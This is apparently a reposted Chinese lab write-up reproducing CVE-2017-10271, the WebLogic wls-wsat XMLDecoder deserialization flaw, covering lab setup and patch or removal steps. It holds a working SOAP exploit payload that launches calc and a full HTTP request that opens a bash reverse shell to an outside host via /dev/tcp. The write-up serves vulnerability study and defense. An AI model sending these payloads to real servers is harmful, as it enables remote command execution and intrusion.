Weblogic 'wls-wsat' XMLDecoder 反序列化_CVE-2017-10271漏洞復現


Weblogic 'wls-wsat' XMLDecoder 反序列化_CVE-2017-10271漏洞復現

一、漏洞概述 

WebLogic的 WLS Security組件對外提供webservice服務,其中使用了XMLDecoder來解析用戶傳入的XML數據,在解析的過程中出現反序列化漏洞,導致可執行任意命令。

二、漏洞版本

受影響WebLogic版本:10.3.6.0.0,12.1.3.0.0,12.2.1.1.0,12.2.1.2.0

三、漏洞復現環境搭建

1、所需環境 目標機:安裝weblogic 10.3.6.0 攻擊機:win10 安裝burpsuit

2、配置java環境

  

3、安裝Weblogic

3.1 官網下載(https://www.oracle.com/technetwork/middleware/weblogic/downloads/wls-main-097127.html),運行軟件

  

3.2不勾選 “我希望通過My Oracle Support接收安全更新"

  

3.3設置用戶名以及密碼

  

3.4選擇生產模式

  

3.5若安裝選擇的默認路徑與默認域名,在如下路徑中運行,輸入用戶名以及密碼,運行weblogic服務C:\Oracle\Middleware\user_projects\domains\base_domain\WebLogic.cmd

  

3.6本地環境測試,出現如下圖,說明weblogic環境搭建成功

  

3.7 win10測試訪問http://192.168.10.171:7001/wls-wsat/CoordinatorPortType

  

四、漏洞復現

1、訪問http://192.168.10.171:7001/wls-wsat/CoordinatorPortType,存在下圖則說明存在漏洞

  

2、漏洞驗證(POC)

2.1Poc如下,在目標計算機上調用計算器

<soapenv:Envelope     xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
       <work:WorkContext    xmlns:work="http://bea.com/2004/06/soap/workarea/">
           <java      version="1.8" class="java.beans.XMLDecoder">
               <void     class="java.lang.ProcessBuilder">
                    <array    class="java.lang.String" length="3">
                        <void     index="0">
                           <string>calc</string>
                        </void>
                        <void     index="1">
                            <string></string>
                        </void>
                        <void     index="2">
                            <string> </string>
                        </void>
                    </array>
                <void     method="start"/></void>
           </java>
       </work:WorkContext>
   </soapenv:Header>
    <soapenv:Body/>
    </soapenv:Envelope>

2.2構造post數據包,並添加Content-text/xml, 把Cache-Control修改為no-cache

  

2.3發送數據包,可以看到返回的狀態碼為500

  

2.4查看目標機器,看到看到目標機器的計算器已經被調用

   

五、漏洞防御

1、 升級本版本

2、 刪除根據實際環境路徑,刪除WebLogic wls-wsat組件

C:\Oracle\Middleware\wlserver_10.3\server\lib\ wls-wsat.war

C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\.internal\ wls-wsat.war

C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\wls-wsat

2.1刪除wls-wsat組件,然后重啟WebLogic服務

2.2瀏覽器訪問,如下圖,說明漏洞不存在

  

 

 

使用ubuntu 16.04搭建docker vulhub漏洞環境搭建 

vulhub漏洞環境搭建參考: https://blog.csdn.net/qq_36374896/article/details/84102101

使用vulhub漏洞環境復現CVE-2017-10271,參考文檔:

https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2017-10271

1.啟動測試環境

docker-compose up -d

2.瀏覽器訪問http://172.17.0.1:7001/wls-wsat/CoordinatorPortType

3.構造post數據包,反彈shell   #注意反彈shell需要把特殊字符進行編碼(html轉義符對特殊符號進行轉換或者利用burpsuit使用html編碼), 否則解析XML的時候將出現格式錯誤

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 172.17.0.1:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type:text/xml
Content-Length: 641

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/192.168.10.135/7777 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

  

4.此時查看kali,可以看到成功反彈shell

  

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM